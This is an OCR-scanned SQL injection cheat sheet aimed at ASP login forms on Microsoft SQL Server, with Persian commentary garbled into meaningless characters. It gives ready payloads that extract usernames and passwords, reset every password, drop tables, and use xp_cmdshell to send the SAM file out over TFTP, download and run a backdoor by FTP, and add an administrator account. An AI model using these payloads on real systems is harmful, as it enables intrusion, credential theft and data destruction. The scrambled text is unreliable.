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Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
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O B 48 jshiles 5 Cule Hlai 0 ) 00 il elS G5l sl dOC 5 Jui 05l a) mname_subject 48
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' group by Mname_subject,doc having 1=1--

Py pa Gl pa A AS ean e dy a5 ad el 5 i aul 4S

Mname _tittle,test

D U Q) sea (43 o

' group by Mname_subject,doc, Mname_tittle,test having 1=1--

egr err%J U adae dalal O saiiad 43

Dol oo s S L L) ) alani 4y aide O gea b s L gia 5 Gl sy (s 50

=== Getting Column types === modele Sotoon Q‘

Login: 'union select sum(username) fro le
Pass: a
===============================g============
=== Getting the version nu eﬁserve.r ===

o

Login: "'union select @@versi »1,1-- Sula 05 ) Gy )

Pass: a

**Important: tedade 1 = 2 i (o i L (G sha el lalyl )

=== Getting Username & Password from table
AEL G gea Gl 4048 (B 50 ) s g adi) e Ghegd ) 0

--- Example:

table names=users <<< L 1312390 Jus sl
column names= username , password <<< il O sa Cpl 448 YU dud sl GalS
D A ) D) sa A o
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Login: "union select min (name),1,1 from users where username >'a’;
Answer : inf3rnal <<< a8 Fuly

i€ lid 5 (5 S Al i 58 YU S 3) saliiad L
for find other username: <<< 2l )5 (5 4 03 S lan )

Login: 'union select min (name), 1,1 from users where username >'inf3rnal’;--

Get user password: <<< el-")j)e Q) Ohragd 5l g

Login: 'union select password, 1,1 from users where username ='farahani';--

.

Ol Al s ) s Cudl ()
sername = 'inf3rnal’);--

**=== UPDATE DATABASE ===** %\
Login: "UPDATE users set users.password = '46f7fk’ wher‘

change password for all username: <<< W eujj 3OS Uase Gl n s

inject NULL in column: 4352« <S4 5518 2

®
s&d ="

Login: '"UPDATE users set p

admin sinf3rnal c Js el s da 4o juad 5 2 g (alad ) sl )

Login: "UPDATE users set password = '46f7fk" where username NOT IN(‘inf3rnal’,"admin’);--

D (el 5 a3 S Sh g cual gl ) s

ADD or delete column in database with ALTER TABLE code:

add:
Login: '"ALTER TABLE <table_name> ADD <column_name> varchar(30);--

delete:
Login: '"ALTER TABLE <table_name> DROP COLUMN <column_name>;-
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=== ADD value in DATABASE with INSERT code === <<< 2a 3 g 5 ))e Galu gl p

Login: ‘insert into users(tblusers.username,tblusres.password) values (‘'sitemanager’,"9339");--
Pass:

=== Delete value in DATABASE with DELETE code === (5_»_\S U (3 S Sb ) »

Login: inf3rnal’ delete from users;--

=== Delete DATABASE with DROP Code === <<< (juuli y A3 LS\

Login: ‘drop table users;-- &

=== Delete TABLE === %\
Login: 'DROP TABLE <table name>

<

®: 2 S 3,5 5 n) sl 4 union Dl esldiul b 4a8) i g e

Error:

Microsoft OLE DB Provider for SQL Server error'80040e07
Operand type clash: unigeidentifier is incompatible with int
Check.asp,line 22/

s S saldiul Oy a4 convert s )
Login: "+((convert(int, (SELECT TOP 1UserName FROM Users WHERE Username > 'a’)) +"--

A€ aldisl where 5 not in J) s an ) s O3 G )
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Login: a' or 1=convert(int,0@version)--
Login: a' or 1=convert(int,0@servername)--

Login: a' or 1=convert(int,db_name())--

L € oaliil iy (5 (A A 5 siege 4S ) ) i ) A giae Calbis w4 35 (51

Login: a' or 1=convert (int,user_name())--

Error:
Microsoft OLE DB Provider for SQL Server error '80040e07* 2\

Syntax error converting the nvarchar value ‘dbo’ to a colum ype int.

Login: a' or 1=convert (int,system_user)-- %

<

Error:
Microsoft OLE DB Provider for SQL Se

Syntax error converting the nvarchar :alue 'Sa’" to a column of data type int.

o \ °

Login: '; exec master..xp_cmdshell 'ms-dos command®--
Example:

Login: '; exec master..xp_cmdshell "dir c:\ > file1.txt'--

or

Login: '; exec master..xp_cmdshell "ipconfig > file2.txt'--

or

Login: '; exec master..xp_cmdshell 'echo dir c:\/s > c:\file3.bat"--

Now you can Download files with TFTP in your PC :

Login: '; exec master..xp_cmdshell 'tftp -i <IP> Put file1.txt'--
or
Login: '; exec master..xp_cmdshell 'tftp -i <IP> PUT c:\winnt\repair\sam’--
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;o= 03 backdoor Gk ) 5o Gl ey 1S Jlal i siae Led
Login: '; exec master..xp_cmdshell ‘tftp -i <IP> GET backdoor.exe’ --
35S 2500 ftp ool 31 5o (i aisiee 5 <l il sabifid U Jlie (51
Login:
s exec MASTER..xp_cmdshell ‘'md %systemroot%\system32\mouse\'--

;s exec MASTER..xp_cmdshell 'echo open x.x.x.x 21 >> %systemroot%\system32\mouselfile.txt'--

s exec MASTER..xp_cmdshell ‘echo USER smallMouse 123456 >>
%systemroot%\system32\mouselfile.txt'--

's exec MASTER..xp_cmdshell ‘echo binary >> %systemroot%\s % mouselfile.txt'--

's exec MASTER..xp_cmdshell 'echo get file.exe %systemg@ot%\syStem32\mouse\M.exe >>
%systemroot%\system32\mouseifile.txt'--
to

s exec MASTER..xp_cmdshell 'echo quit >> %sys o ystem32\mouselfile.txt'--

¢
's exec MASTER..xp_cmdshell 'ftp.exe -i -n -% temroot%\system32\mouselfile.txt"--

s exec MASTER..xp_cmdshell 'del %systemr@ot%\system32\mouseifile.txt'--

's exec MASTER..xp_cmdshell '%syste’mwot%\system32\Mouse\M.exe'--

2986 S 32 S0 L 2l sive xp_cmdshell f saliiud b tia (sla 4

EYBUPIN

Login: '; exec MASTER..xp_cmdshell ‘dir C:\ > file1.txt %26 tftp -i <IP> Put file1.txt'--

with COde you can Create administrator User in Windows :

Login: ' ; exec master..xp_cmdshell 'net user Mouse 123 /add %26 net localgroup administrators
inf3rnal /add’--

User: inf3rnal
pass: 123

D s el s (s S )




TXinf3rnall : wiio ozivygi Asp lnjection

' or 1=(select top 1 column name from tablename)--
Pl Al s Al 03 ) Gy 61
' or 1=(select top 1 columnname from tablename where columnname not in ("esme usere aval'))--
BT BY

' or 1=(select top 1 password from users)--
**lunion/**/select/**/1,2,3,4,5, /*

2+union+all+select+1,2,3,4

**lunion/**/select/**/1,2,3,4,5 from admin /*

' union select min (column),0,0,0,0,0,0 Table where column&

L da el 035 Casdy () ) sy S
¢
' or 1=(select top 1 table_name from infor ti&ma.tables)--

L
' or 1=(select top 1 table_name _from infggmation_schema.tables where table_name not in (‘esme

table name aval’))--

' or 1=(select top 1 column_name from information_schema.columns)--

' or 1=(select top 1 column_name from information_schema.columns where column_name not in
(‘esme columne name aval'))--
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' or 1=(select top 1 (column_name) from information_schema.columns where table_name=(‘esme
table’))--

D sl S gl Gy ) e

' or 1=(select top 1 column_name from information_schema.columns where table_name='esme table’
and column_name not in ("*esme column’))--

' or 1=(select top 1 password from tbl_admin where username=(‘inf3rnal’))--

N
1\

'union select 1--

' or 1=(select top 1 username from tblusers)--

' or 1=(select top 1 password from tblusers where %\—sitemanager')--

¢
' or 1=(select top 1 column_name from info x Schema.columns where table_name=("admin’))--
oy (Jlinea c“—e&a. S8 Gl el by 4
\ ¢

230 gamy OYEa Hlatie Gl g
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